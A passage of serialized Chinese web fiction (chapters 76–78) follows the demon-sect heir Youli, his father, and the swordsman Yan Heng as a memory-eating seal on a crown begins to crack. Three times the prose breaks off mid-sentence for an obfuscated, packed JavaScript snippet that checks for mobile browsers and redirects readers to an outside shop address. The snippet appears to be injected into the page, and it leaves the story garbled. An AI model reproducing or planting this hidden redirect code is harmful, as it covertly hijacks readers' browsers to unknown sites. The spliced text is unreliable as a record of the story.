“没什么?”玄煞上前一步,强大的气息逼得宥鲤几乎喘不过气,“你以为,我会信?” 他抬手,指尖一勾,那布包便被一股内力卷走,落在他掌心。 布层被掀开,露出泛黄的《情柳手札》。 玄煞的目光一沉,周身的气息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261171|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间冷到极致。 “谁允许你翻她的东西?” 宥鲤直视着他,声音里带着压抑的怒意:“她是我娘。” “她是你娘,也是我妻子。”玄煞的眼神更冷,“而你,是我魔教的少教主——不是来翻旧账、质疑我的人。” 宥鲤冷笑:“我只是想知道真相。” “真相?”玄煞猛地提高声音,“真相就是,你娘的死与我无关!那些人该死!” 殿外的晨鸟被惊得四散飞起,枝叶簌簌作响。 宥鲤的拳头微微收紧,指节泛白:“可她日记里——” “够了!”玄煞厉声打断,“不许再碰她的东西,更不许再提这件事!” 他的目光像刀一样剜在宥鲤脸上,片刻后,才缓缓收回。 “回你自己的殿去。”玄煞转身,声音冷得没有一丝温度,“再让我看到你带着这东西乱跑——你知道后果。” 他的背影消失在晨雾中,只留下沉重的气息。 宥鲤站在原地,胸口剧烈起伏。他低头看着那本被玄煞扔下的日记,指尖在纸面上轻轻摩挲。 他忽然笑了,笑意却冷得像雪。 ——看来,父亲越是想隐瞒,就越说明这里面藏着不可告人的秘密。 而他,绝不会就此罢手。 夜深,魔教大殿的灯火早已熄灭。 玄煞独自坐在殿中,彼岸花教冠静静置于案上。血红的花瓣纹饰在烛火下闪着幽光,像是在呼吸。 他伸出手,指尖泛着淡淡的黑光,缓缓落在教冠中央的花蕊上。封印符纹如潮水般蔓延,将整顶教冠笼罩在一层若有若无的黑雾中。 玄煞的眼神沉得可怕——这封印,不仅是为了压制教冠的力量,更是为了束缚宥鲤的心思。 “别再让我失望。”他低声道,像是在对教冠说,又像是在对自己说。 烛火摇曳,教冠的光芒渐渐收敛,变得沉寂。 翌日清晨,魔教大殿再次聚满教众。 玄煞端坐高台之上,黑袍如夜,神情冷肃。 宥鲤懒洋洋地坐在他右侧,彼岸花教冠稳稳戴在头上。封印的黑雾已不可见,却让他觉得额头有些沉重,像压着一块冰。 他单手支着下巴,另一只手有一下没一下地敲着扶手,眼神半眯,像只打盹的猫。 玄煞正在宣布教务,声音低沉威严:“……北境探子回报,清朽门近日有异动——” 宥鲤打了个无声的哈欠,眼底泛着水光,耳边的声音渐渐变成嗡嗡的背景音。 教冠的封印似乎在暗暗压制他的精神,让困意像潮水般涌来。 他的脑袋一点一点,差点磕到扶手上。 裴煦坐在另一侧,正低头记录,眼角余光瞥见宥鲤困得快睡着,忍不住暗暗摇头。 玄煞讲到一半,忽然停了下来,冷冷地瞥了宥鲤一眼。 宥鲤一个激灵,勉强抬起头,装作认真听讲的样子。可不过片刻,他的目光又开始飘忽,像在寻找出口。 玄煞的声音再度响起,却比刚才更冷:“少教主,可有异议?” 宥鲤愣了愣,随口道:“没……没有,爹说得对。” 台下有人忍不住低声偷笑,又立刻被玄煞凌厉的目光吓住,乖乖低下头。 玄煞冷哼一声,继续议事。 宥鲤在心里默默抱怨——这顶破帽子,不仅压得他头沉,还让他困得要命。 他打了个小盹,脑袋歪向一边,唇角甚至还带着一点若有若无的笑,像在做什么好梦。 裴煦悄悄抬眼,看了他一眼,又迅速低下头,在记录册上写下—— “少教主:无异议(疑似困倦)。” 76. 二十二 魔教大殿外,晨雾未散。 脚步声由远及近,沉稳而克制。 严珩站在殿门前,一身青衣,墨发高束,眉目如削,却比记忆中更冷,像覆着一层霜。 他的目光穿过薄雾,落在正从台阶上走下来的宥鲤身上。 宥鲤戴着彼岸花教冠,脸色因为封印的压制显得有些苍白,却依旧懒洋洋地打着哈欠。看见严珩时,他的眼睛亮了亮—— “你来了。”宥鲤走下最后一级台阶,语气轻快,“今天怎么这么早?” 严珩的目光在他脸上停留了一瞬,像是在确认什么,随后淡淡道:“路过。” 路过?宥鲤挑了挑眉,心里却没多想。 反正严珩长得好看,他来魔教的次数也不少,多一次不多。 “要不要进去喝杯茶?”宥鲤侧身让开,“爹刚开完会,估计又要闭关。” 严珩的视线掠过他头上的教冠,眼底闪过一丝不易察觉的波动。那封印的气息,比上次更强了。 “不必。”他顿了顿,忽然伸手,指尖几乎要触碰到教冠的边缘。 宥鲤下意识偏头,避开了:“干嘛?想偷我的帽子?” 严珩收回手,声音平静:“只是看看。” 可他的指腹还残留着那一瞬间的触感——冰冷,沉重,带着令人心悸的力量。 宥鲤打了个哈欠,懒懒地问:“你最近很忙吗?总感觉你比之前……更冷淡了。” 严珩看着他,沉默片刻,才低声道:“嗯。” 他想说很多话——想告诉他,自己找了他五百年;想告诉他,他不是冷淡,只是怕自己一旦失控,就会将他推向记忆的深渊;想告诉他,那顶教冠的封印,是他活下去的唯一屏障。 可最终,他只是道:“教冠……不要轻易摘下来。” 宥鲤眨了眨眼,笑得漫不经心:“你是怕我把它弄坏,还是怕我变帅得太快?” 严珩没笑,只轻轻看了他一眼,那眼神里有宥鲤看不懂的情绪——像是疼惜,又像是诀别。 “我走了。”严珩转身,背影消失在晨雾中。 宥鲤望着他的背影,心里莫名一紧。 ——总觉得,今天的严珩,离自己很远很远。 回到殿中,宥鲤将彼岸花教冠随手放在案上。 烛火摇曳,他正要去倒茶,余光却瞥见教冠上的一道异样—— 血红的花瓣纹饰中央,有一道细得几乎看不见的裂纹,正顺着花蕊蜿蜒而下,像是某种力量在里面冲撞。 他愣了愣,伸手轻触。指尖传来一阵冰冷的刺痛,像是被细针扎了一下。 封印……裂了? 他皱眉,心中升起一丝不安。父亲昨夜才加强过封印,怎么可能这么快就出现裂痕? 就在这时,殿外的回廊拐角处,裴煦微微侧身,收回了目光。 他手中握着一卷未封的记录册,指节因为用力而泛白。眼底的神色晦暗不明——像是在权衡,又像是在等待什么。 ——教冠封印出现裂纹,这本该是极其机密的事。 裴煦缓缓退入阴影,脚步轻得没有一丝声响。他没有立刻离开,而是在暗处继续观察。 殿内,宥鲤将教冠捧起,仔细端详。裂纹在烛火下若隐若现,仿佛随时会扩大。 他心里忽然闪过一个念头—— 难道是严珩刚才触碰教冠的时候,做了什么? 可那只是一瞬的接触,严珩又怎么可能有这样的力量? 宥鲤甩了甩头,试图驱散这荒唐的猜测。 然而,那道裂纹像是在回应他的不安,轻轻“咔”的一声,又延伸了半分。 殿外的裴煦眯起眼,缓缓在心里记下了这一幕。 ——如果封印继续崩坏,少教主的记忆,恐怕会提前苏醒。 而那,将是一场无法挽回的风暴。 夜色渐深,魔教的殿宇在月光下显得格外寂静。 宥鲤坐在案前,彼岸花教冠静静放在手边。烛火映着那道细微的裂纹,像一条潜伏的蛇,随时可能发动攻击。 他的指尖轻轻摩挲着教冠边缘,眼底闪过一丝决意。 ——要想知道严珩是不是在暗中做了手脚,最好的办法,就是再让他碰一次。 想到这里,他嘴角勾起一抹漫不经心的笑。反正自己喜欢看帅哥,多找个理由见他,也不算亏。 同一时间,回廊的阴影中,裴煦站在暗处,手中的记录册已经换成了一封密信。他低声吩咐面前的黑衣执事: “加派人手,暗中盯住少教主和严珩的动向。一旦教冠封印出现异常——立刻回报。” 黑衣执事躬身应道:“是。” 裴煦顿了顿,又道:“记住,不要惊动他们。” “属下明白。” 待黑衣执事退下,裴煦缓缓抬头,目光落在远处宥鲤的殿门。烛火摇曳间,他的眼神晦暗不明。 ——如果封印提前破裂,少教主的记忆就会苏醒。到那时,不仅他的性命难保,整个魔教也会陷入混乱。 裴煦握紧了手中的密信,指节泛白。 他必须在那之前,做好万全的准备。 翌日午后,阳光透过殿窗洒在地面,映出斑驳的光影。 宥鲤懒洋洋地靠在榻上,手中转着一枚玉佩。殿门被轻轻推开,严珩走了进来。 “你找我?”严珩的声音冷淡,却难掩一丝不易察觉的紧张。 宥鲤抬眼,笑得像只偷了腥的猫:“对啊,想请你帮个忙。” “什么忙?” 宥鲤指了指案上的彼岸花教冠:“帮我看看,这玩意儿是不是坏了。” 严珩的目光一沉。那道裂纹在阳光下清晰可见,像是在无声地嘲笑着他的努力。 他走过去,伸出手,却在触碰到教冠的前一瞬停住了。 “怎么?不敢碰?”宥鲤挑眉,语气带着挑衅。 严珩收回手,淡淡道:“这是魔教圣物,我不便触碰。” 宥鲤“啧”了一声,故作失望:“我还以为你胆子很大呢。” 严珩看着他,沉默片刻,才低声道:“宥鲤,别胡闹。” “我可没胡闹。”宥鲤将教冠捧起,递到他面前,“你看,这里有一道裂纹。昨天还没有呢。” 严珩的指尖轻轻一动,像是在克制什么。他的声音更低了:“放回去。” 宥鲤偏偏不依,反而往前一递,几乎碰到他的手:“你怕什么?难道一碰就会——” 话未说完,教冠忽然闪过一丝黑光,裂纹处像是有什么东西在涌动。 严珩猛地伸手,一把将教冠按回案上。那一瞬间,他的指尖不可避免地触碰到了冰冷的纹饰。 宥鲤敏锐地捕捉到他眼底的波动——那不是恐惧,而是心疼。 “你果然有问题。”宥鲤低声道。 严珩抬眼,目光直直锁住他:“我只是不想你受伤。” “受伤?”宥鲤笑了,“你是说,这顶教冠会伤到我?” 严珩没有回答,只是将教冠推得更远。 “宥鲤,”他的声音低沉而认真,“别再碰它。” 宥鲤挑眉:“为什么?” 严珩沉默了很久,才缓缓道:“因为……它会让你想起一些不该想起的事。” “比如?”宥鲤追问。 严珩的喉结轻轻滚动,像是在压抑什么。最终,他只是摇了摇头:“没有比如。” 宥鲤看着他,忽然笑了:“严珩,你是不是……知道我的过去?” 殿内陷入短暂的寂静。阳光透过窗棂洒在两人之间,像是隔了一层无形的墙。 严珩终于开口:“我知道的,比你想象的多。” “那你告诉我啊。”宥鲤的语气里带着一丝急切。 严珩的眼神暗了下去:“不能。” “为什么?” “因为一旦你想起一切……”严珩的声音轻得像风,“你会死。” 宥鲤怔住了。 他本以为严珩会编个理由糊弄过去,却没想到他会说出这样的话。 “你在吓唬我?”宥鲤皱眉。 严珩看着他,眼底是深深的无力与疼惜:“我从没想过要骗你。” 宥鲤张了张嘴,却发现自己什么也说不出来。 与此同时,殿外的回廊上,裴煦站在阴影中,静静地听着两人的对话。他的手中握着那封密信,指节因为用力而泛白。 黑衣执事悄无声息地出现在他身后:“执事,封印波动加剧,需要立刻采取行动吗?” 裴煦缓缓摇头:“再等等。” “可是——” “我说,再等等。”裴煦的声音冷得像冰。 黑衣执事不敢多言,退了下去。 裴煦抬头,目光透过半掩的殿门,落在宥鲤的背影上。 ——如果严珩真的知道真相,那么,他的存在,就是最大的威胁。 殿内,宥鲤忽然笑了,像是想打破这沉重的气氛:“好吧,我暂时信你。不过——” 他话锋一转,“你得答应我一个条件。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261172|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >严珩挑眉:“什么条件?” “以后我叫你,你就得出现。”宥鲤的语气带着几分任性,“不管什么时候,不管你在做什么。” 严珩看着他,沉默片刻,才缓缓点头:“好。” 宥鲤满意地笑了:“这才像话。” 他转身去倒茶,却没看到严珩在他转身的瞬间,眼底闪过一丝决绝。 ——只要能让他活下去,哪怕永远不知道真相,也没关系。 殿外,裴煦缓缓收回目光。他低声对黑衣执事道:“通知暗卫,今晚开始,全天候监视少教主和严珩。一旦严珩有异常举动——” 他顿了顿,眼中闪过一丝冷光:“立刻除掉。” 黑衣执事躬身应道:“遵命。” 夜深了,魔教的殿宇在月光下沉默不语。 宥鲤躺在床上,彼岸花教冠放在枕边。烛火摇曳间,他翻来覆去,怎么也睡不着。 严珩的话像一根刺,扎在他的心口—— “一旦你想起一切,你会死。” 他闭上眼,脑海中却不受控制地闪过破碎的画面:雪夜、花灯、血色的彼岸花……还有一个模糊的身影,在呼唤他的名字。 “宥鲤……” 那声音熟悉又陌生,像是从很远很远的地方传来。 他猛地睁开眼,心口剧烈起伏。 ——到底,自己遗忘了什么? 而严珩,又在隐瞒什么? 夜色深沉,魔教大殿被月光笼罩得像沉睡的兽。 宥鲤躺在床上,彼岸花教冠就放在枕边。烛火早已熄灭,殿内只剩下月光和他浅浅的呼吸声。 忽然,他的眉心紧皱,额上渗出细密的冷汗。 梦里,他站在一片血色的彼岸花海里。花瓣像火一样燃烧,风一吹,化作无数灰烬落在他的肩头。 他想往前走,却看见前方的身影渐渐清晰——白衣、墨发、眉眼如画,却满身是血。 那人伸出手,嘴唇微动,似乎在说什么。 可宥鲤听不清。 他急得想冲过去,脚下却像被什么缠住,动弹不得。 就在这时,那人忽然笑了,笑得温柔又绝望。 “宥鲤……” 声音轻得像风,却让他心口猛地一疼。 下一刻,画面破碎,血色的花海瞬间化为无边的黑暗。 宥鲤猛地睁开眼,胸口剧烈起伏,呼吸急促。 他下意识地看向枕边—— 彼岸花教冠静静地躺着,月光下,那道裂纹竟比傍晚时扩大了一倍,像一条蜿蜒的黑色藤蔓,缠绕在花蕊之上。 宥鲤屏住呼吸,伸手轻触。指尖传来一阵刺痛,像是被冰冷的刀刃划过。 封印……在崩裂。 他的脑海中闪过严珩白天的话—— “一旦你想起一切,你会死。” 心口的疼痛愈发清晰,像是有人用手紧紧攥住了他的心。 就在这时,殿门外传来一声极轻的响动。 宥鲤警觉地抬头:“谁?” 殿门没有开,却传来一道低沉的声音:“是我。” ——严珩。 宥鲤愣住了:“这么晚了,你怎么在这儿?” 门外沉默了片刻,才传来他的声音:“路过。” 宥鲤“啧”了一声,显然不信:“路过?半夜三更,你在我殿外路过?” 门外又沉默了。许久,严珩才低声道:“我担心你。” 宥鲤的心口猛地一跳。 他走到殿门边,缓缓拉开门闩。 月光下,严珩站在那里,一身青衣被夜露打湿,鬓角沾着水珠。他的眼底布满血丝,显然已经站了很久。 “你守了一夜?”宥鲤皱眉。 严珩没有否认,只是淡淡道:“回去睡吧。” 宥鲤看着他,忽然觉得鼻子有些发酸。 “严珩,”他轻声道,“你到底……是谁?” 严珩的眼神暗了下去:“一个不想失去你的人。” 宥鲤张了张嘴,却发现自己什么也说不出来。 他忽然转身,回到殿内,将那顶彼岸花教冠捧起,递到严珩面前。 “帮我……把它修好。” 严珩看着那道裂纹,眼底闪过一丝决绝。他伸手接过教冠,指尖触碰到冰冷的纹饰时,微微一颤。 “好。” 他的声音很轻,却像在许下一个无法回头的誓言。 月光下,两人的影子被拉得很长很长,像是要延伸到命运的尽头。 77. 二十三 夜色沉沉,魔教的殿宇像一头蛰伏的兽,静静卧在山巅。 宥鲤猛地从梦中惊醒,胸口剧烈起伏,额头渗出细密的冷汗。梦里的画面还在脑海中回荡—— 血色的彼岸花漫山遍野,一个白衣男子倒在花海中,唇角带着笑,却眼神空洞。他伸手去抓,却什么也抓不住。 “宥鲤……”那个声音又在耳边响起,低沉而温柔,却透着无尽的悲伤。 他喘息着坐起身,烛火还在燃烧,摇曳不定。 就在这时,他的目光被枕边的彼岸花教冠吸引—— 裂纹,扩大了。 原本细如发丝的缝隙,此刻像一条蜿蜒的蛇,从花蕊延伸到花瓣边缘,黑光在裂缝中隐隐流动,仿佛有什么东西正在苏醒。 宥鲤屏住呼吸,伸手轻轻触碰。指尖传来一阵刺痛,像是被冰针扎入血肉。 他猛地收回手,心底升起一股莫名的寒意。 ——这玩意儿,是活的? 烛火忽然“噗”的一声,跳动了一下,殿内的影子随之扭曲。教冠上的黑光似乎感应到了什么,微微闪烁。 宥鲤皱紧眉头,将教冠推到一边。可那道裂纹像是有生命般,正缓缓向四周蔓延。 他忽然想起严珩白天说的话—— “一旦你想起一切,你会死。” 一股说不清的恐惧涌上心头。 宥鲤深吸一口气,强迫自己冷静下来。他走到案前,提笔在纸上飞快写下几行字,然后将纸折好,塞进衣袖。 ——不管这顶教冠里藏着什么,他都要查清楚。哪怕真相真的会杀死他。 烛火摇曳间,殿外忽然传来一声极轻的叹息。 宥鲤猛地抬头,望向殿门。 ——是严珩吗? 他走过去,拉开门,却发现外面空无一人。只有风吹动檐铃,发出清脆的声响。 宥鲤站在门口,望着空荡荡的回廊,心中忽然涌起一股说不清的失落。 他不知道的是,在回廊的阴影深处,严珩正静静地站着,目光落在他身上,眼底满是疼惜与决绝。 ——他不能靠近。 ——因为,他每靠近一步,宥鲤就离死亡更近一步。 万归宗的山门依旧立在云雾之间,石阶蜿蜒向上,一如五百年前。 严珩一步步踏上归途,青衣在风中猎猎作响。 他的目光越过熟悉的青松,落在远处的剑冢方向。那里,埋着他曾经并肩作战的同门——也埋着他五百年的悔恨。 “宗主,你这决定简直蠢得要命!” 记忆里,长大后东方如光的声音依旧刺耳,带着一贯的讥讽。可那一次,他没有再反驳。 那天,万归宗被魔教大军围困,东方如光单枪匹马断后。他的剑光如烈日般炽烈,却在敌阵中一点点黯淡。 等严珩赶到时,只见他半跪在血泊中,胸口插着一柄染血的魔刀。 “你……终于来了。”东方如光的嘴角溢出鲜血,“别让我白死。” 严珩跪在他面前,双手颤抖着去扶。可东方如光只是笑了笑,像在嘲笑他的迟来,也像在安慰他的无力。 “你……还是老样子。” 那是他最后的声音。 白剑雪成为了万归宗最年轻的剑尊,白衣胜雪,剑意凌厉。可在一次围剿魔教余孽的行动中,他走火入魔。 剑光失控,杀意滔天。正教长老们为了压制他,合力出剑——白剑雪被腰斩于剑台之上。 严珩赶到时,白剑雪的上半身还在地上挣扎,眼中满是疯狂与不甘。 “宗主……我……不想这样……” 他的声音断断续续,血沫涌出。严珩握住他的手,却只能眼睁睁看着他的目光渐渐涣散。 东方如光的死,成了东方谭瑞一生的执念。 五百年间,他四处搜寻真相,试图为兄长报仇,却因长期奔波与忧思成疾,病入膏肓。 弥留之际,他抓住严珩的衣袖,声音嘶哑:“宗主……我想……再听一次……哥哥骂我……” 严珩沉默,泪水在眼眶打转。他知道,这是一个永远无法实现的愿望。 峰羽死的最早,随天赋平平,却很努力。可在宗门里,他总是被师兄们欺负。 那次瑶花镇任务也是同门师哥,不想去,只能派自己去。 那天,峰羽被几个师兄骗到后山比试,却被打得遍体鳞伤,扔进了寒潭。 等被发现时,他的身体已经冰冷僵硬。 严珩站在寒潭边,看着那具瘦小的尸体,胸口像被生生撕开。 五百年的岁月,让他的剑更锋利,让他的心更坚硬。可在这万归宗的山风中,那些逝去的面孔依旧清晰如昨。 他缓缓闭上眼,心底的声音一遍又一遍地回响—— “我来晚了。” 万归宗的晨钟暮鼓,依旧在山间回荡。 今日的山门格外热闹。 “听说了吗?外门新来的那个少年,三招就击败了内门首席!” “还有那个女弟子,御剑飞行只用了半个时辰就破了宗内记录!” “天才真是多啊,我们这一代,怕是要改写万归宗的历史了!” 年轻弟子们的笑声在石阶上回荡,剑光与灵力在训练场交织,朝气蓬勃得像盛夏的阳光。 严珩站在远处,静静看着这一切。 他的目光落在那些奔跑、切磋、争强好胜的身影上,看着他们的眼睛里闪烁着对未来的憧憬。 可他的耳边,却仿佛又响起了五百年前的声音—— “宗主,你这决定简直蠢得要命!” 东方如光带着讥讽的笑,可眼底藏着的是对宗门的赤诚。 “宗主……我不想这样……” 白剑雪的声音在血雨中破碎,带着疯狂与绝望。 “宗主……我想再听一次哥哥骂我……” 东方谭瑞的手在他掌心里一点点失去温度。 还有峰羽——那个总是低着头,被师兄们欺负的少年,死在寒潭里,连一句辩解都没来得及留下。 严珩闭上眼,胸口一阵闷痛。 五百年了,万归宗重现昔日辉煌,天才层出不穷,剑光纵横,名动四方。可那些曾经与他并肩的人,却永远留在了过去。 他记得他们年轻时的模样—— 东方如光总是一副欠揍的表情,却在关键时刻挡在所有人面前; 白剑雪白衣如雪,剑意凌厉,却会在雪夜为小师弟暖手; 东方谭瑞话多又爱惹麻烦,却在大战前悄悄为大家磨好每一把剑; 峰羽沉默寡言,却会在清晨偷偷把训练场打扫干净。 他们不是最耀眼的天才,却用生命守护了万归宗。 而现在,这些年轻的天才们,享受着他们用鲜血换来的和平与荣耀。 “宗主?”一个清脆的声音打断了他的思绪。 严珩睁开眼,看到一个扎着高马尾的少女站在面前,眼中满是崇拜:“您就是传说中的严宗主吗?弟子久仰大名!” 严珩微微点头,声音平淡:“好好修炼。” 少女激动地点头,转身跑回训练场,很快便与同伴们的笑声融为一体。 严珩望着她的背影,目光渐渐变得复杂。 他知道,这一代的弟子们,不会经历他们那一代人的血与火。他们可以安心修炼,可以为了争夺首席之位而全力以赴,不必在夜里惊醒,担心明天是否还能活着睁开眼。 这是好事。 可在心底的某个角落,严珩却感到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261173|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种难以言说的孤独。 因为,没有人记得东方如光的剑有多烈,白剑雪的笑有多暖,东方谭瑞的嘴有多碎,峰羽的心有多真。 那些名字,已经被尘封在五百年前的岁月里,只有他一个人,还记得他们的模样。 夕阳西下,余晖洒在万归宗的每一寸土地上。训练场上,年轻弟子们的剑光依旧闪烁,笑声依旧爽朗。 严珩转身,朝剑冢的方向走去。 那里,有四座不起眼的小土堆,风吹过时,荒草轻轻摇曳。 他蹲下身,伸手拂去墓碑上的尘土,低声道: “我回来了。” 没有回应。 只有山风穿过松林,带着淡淡的松脂香,像是他们曾经的呼吸。 严珩闭上眼,任由夕阳的余晖落在脸上。 ——五百年了,万归宗终于重现辉煌。 ——可我宁愿,你们都还在。 严珩站在剑冢前,指尖拂过冰冷的石碑,脑海里忽然闪过一抹不该出现的笑。 那是五百年前的他——唇角常勾,眼底带着几分顽劣,说话半真半假,却总能撩得人心里一颤。 后山的风,总是比别处更冷。雪线之上,朽清门的雪壁光滑如镜,冷得能割破指尖。可那一天,他却伸出手,将掌心贴在雪壁上,硬是用体温融化了一层薄冰。 “小千浮,今儿后山的风硬,借我抱一下?” 他的声音带着笑,像是随口调侃,可眼底那抹认真,却藏不住。 宥鲤站在他面前,古井般的眸底第一次映出另一道影子。那影子带着少年人的张狂与炽热,像一束光,猝不及防地照进了他冰封多年的心湖。 那一刻,万归宗六门哗然—— 朽清门的雪壁之上,第一次留下了他人掌心的温度; 宥鲤那双从不波澜的眼里,第一次有了涟漪。 可严珩的野心,不止于此。 在众目睽睽之下,他仰头望向雪山之巅,那朵孤傲的雪莲在风雪中摇曳。他举起剑,声音响彻云霄—— “我严珩,就是要摘这朵雪山最高处的花,谁拦我,我就连根带雪一起抱走!” 那一刻,连呼啸的寒风都像是为他让路。宥鲤看着他,眼底闪过一丝自己都没察觉的笑意。 ——后来,他真的做到了。 他踏雪而上,披荆斩棘,将那朵雪莲捧到宥鲤面前,笑得像个得意的孩子:“小千浮,送给你。” 宥鲤接过花,指尖微凉,却在触碰到花瓣的那一刻,感到了久违的温暖。 严珩缓缓睁开眼,剑冢前的风依旧带着松脂香,可那抹笑,却再也无处可寻。 他低声呢喃:“小千浮……” 声音消散在风中,仿佛从未存在过。 然后—— 风从松林中穿过,吹得剑冢前的荒草伏低,像是在替谁应答。 严珩收回手,指尖冰凉,心口却有一团旧火,慢慢烧了起来。 他忽然想起,宥鲤如今在魔教。 而那顶彼岸花教冠,裂痕已扩至花瓣边缘——像是在倒数。 “小千浮……”他低声重复,眼底的温柔被锋利取代,“这一次,我不会再迟到。” 他转身,衣袂翻飞,沿着石阶一步步走下剑冢。 阳光从山巅倾泻而下,照亮他的背影,却照不亮那条通往魔教的黑暗之路。 与此同时,魔教大殿中,宥鲤正被教冠的黑光惊醒。 他下意识地伸手去摸,那裂纹仿佛在脉动,与他的心跳渐渐同步。 殿外,风声忽然止住。 下一刻,一阵极轻的脚步声,从回廊深处传来。 宥鲤抬头—— 那是他五百年未曾见过,却在无数梦里呼唤过的声音。 78. 二十四 夜色如墨,魔教后殿的铜灯被风吹得猎猎作响。 宥鲤披着玄色外袍,指尖还残留着教冠裂纹里的黑光,像一条不肯愈合的伤口。 他一路疾行,靴底踏碎回廊阴影,停在琅风静室前——门没关,一盏青灯孤悬,照出那人挺拔如松的侧影。 “琅风。” 宥鲤声音低哑,却带着不容回避的锋利,“那顶彼岸花教冠,根本不是什么圣物,对不对?” 室内静了一瞬。 琅风正在擦拭一柄无鞘黑剑,闻言指腹停住,血珠顺着剑脊滚落,他却浑然不觉。 半晌,他放下剑,取帛巾裹住指伤,声音沉得发冷—— “少主既然猜到了,又何必来问我。” 宥鲤瞳孔骤缩,胸口那团火猛地窜高:“所以,你们从头到尾都在骗我。” 他一步踏入室内,袖中那张折好的纸被攥得皱烂,“教冠里封的不是先祖魂识,是‘噬忆蝶’——对否?” 琅风抬眼,第一次没有避让地与他对视。 男人眼底像蕴着永夜,黯得看不见底:“是。” 一个字,重若千钧。 宥鲤忽然笑出声,笑意却比哭还难看:“怪不得……我越回想,裂纹越大;越用力,越空白。” 他想起梦里倒下的白衣人,想起雪壁前递花的少年,想起自己无论如何也抓不住的残影——原来都不是幻觉,是被生生抽走的记忆。 “谁的主意?”宥鲤声音发颤,却倔强地挺直脊背,“我父?还是长老会?” “主上……只是不想您重蹈覆辙。”琅风垂眸,似在回忆极遥远的画面,“五百年前,您与万归宗那人——” “严珩。”宥鲤替他说出这个名字,字字咬血,“我喜欢他,是不是?” 琅风沉默,那沉默已是答案。 宥鲤忽然觉得冷,像被扔进寒潭,四肢百骸都结了冰:“所以,你们把关于他的一切,都喂给了噬忆蝶?让我每一次心动,都变成钻心剧痛;让我每一次回想,都离死更近一步?” “噬忆蝶以情为食,越深刻,越美味。”琅风声音低哑,“主上说,只要您忘了,就能活。” “可我不想活成一只被拔掉齿牙的兽!”宥鲤怒吼,袖袍无风自鼓,烛火被震得几欲熄灭,“把记忆还给我!” 琅风忽然单膝跪地,黑剑横举过头顶——那是血煞魔教最高的致歉礼。 “属下……做不到。”男人嗓音发涩,“蝶已化茧,茧附冠骨。若要取回,唯有——” “唯有毁冠。”宥鲤接话,眼底血丝疯长,“而毁冠,我会死,对吗?” 琅风没有抬头,只一字一句,像把刀递给他:“噬忆蝶亡,宿主心脉俱碎。主上赌您……舍不得死。” 室内陷入死寂。 良久,宥鲤轻笑一声,那笑声薄如刃:“他赌错了。” 他转身,袍角划出一道决绝的弧,“告诉煞玄,三日后子时,我亲赴祭渊台——毁冠。” “少主!”琅风猛地起身,第一次失了沉稳,“您可知,一旦毁冠,万归宗那人……也会感应到彼岸花枯,他会来,他会——” “我要的就是他来。”宥鲤停在门槛,回头看他,眼底燃着两簇幽暗的火,“这一次,谁也别想再替我选。” 夜风卷过,灯焰骤灭。 黑暗中,只剩琅风压抑的呼吸,像一头被困的兽。 他望着宥鲤远去的背影,忽然想起很多年前—— 少年偷跑下山,只为给雪峰上那人摘一株早春的绿芽; 归来时,冻得唇色发青,却仍笑得耀眼:“宥风,你看,春天也会上雪山。” 那时,他站在廊下,远远看着,第一次生出“想护住这抹笑”的念头。 可如今,他亲手把少年推进了深渊。 琅风缓缓攥紧剑柄,指骨喀喀作响—— 三日后,若少主真要毁冠,那便踏过他的尸体。 灯芯“啪”地爆出一粒火星,映亮他低垂的眼。 子时,祭渊台。 乌云压顶,星月无光。十二面血幡猎猎作响,幡上金纹彼岸花像被唤醒的獠牙,一路燃到高台中央。 那里,一尊黑玉小鼎静静安放——鼎内,裂纹纵横的教冠正被最后一缕魂火灼烧,黑光与血焰纠缠,发出婴儿啼哭般的嘶响。 宥鲤站在鼎前三丈,雪色长发未束,瀑散于肩,映得面色近乎透明。 他穿的不是少主礼服,而是一袭素青布衣——那是“容成”的皮囊,一张用秘法炼了七日的“画骨人偶”。 真正的肉身,此刻正躺在后山冰窟,心口悬一盏锁魂灯,灯芯只余豆大,却足够在毁冠瞬间,把魂魄拉回原本骨血。 “少主,时辰到了。” 大长老拖长声调,权杖叩地,咚——似催命鼓。 宥鲤抬眼,目光扫过台下: 煞玄负手立于暗处,金面具遮了半边脸,看不出神情; 琅风按剑立在幡影里,指节泛白,像随时会拔剑劈开这座祭台; 更远的地方,万归宗的方向,一道青虹正破夜而来——他知道,那是严珩。 “开始。” 宥鲤轻声道,像在对自己说。 他割破掌心,血珠滚落,却不是殷红,而是淡金——画骨人偶的血。 血落鼎中,噬忆蝶轰然振翅,黑雾凝成一只巨蝶,蝶翼上浮现一幕幕被吞噬的旧景: 清云君、朽清门、递到面前的雪莲、少年人张扬的笑…… 以及,最后倒下的白衣背影。 蝶翼每扇一次,裂纹便蔓延一分。 当裂痕终于爬上花蕊最深处—— 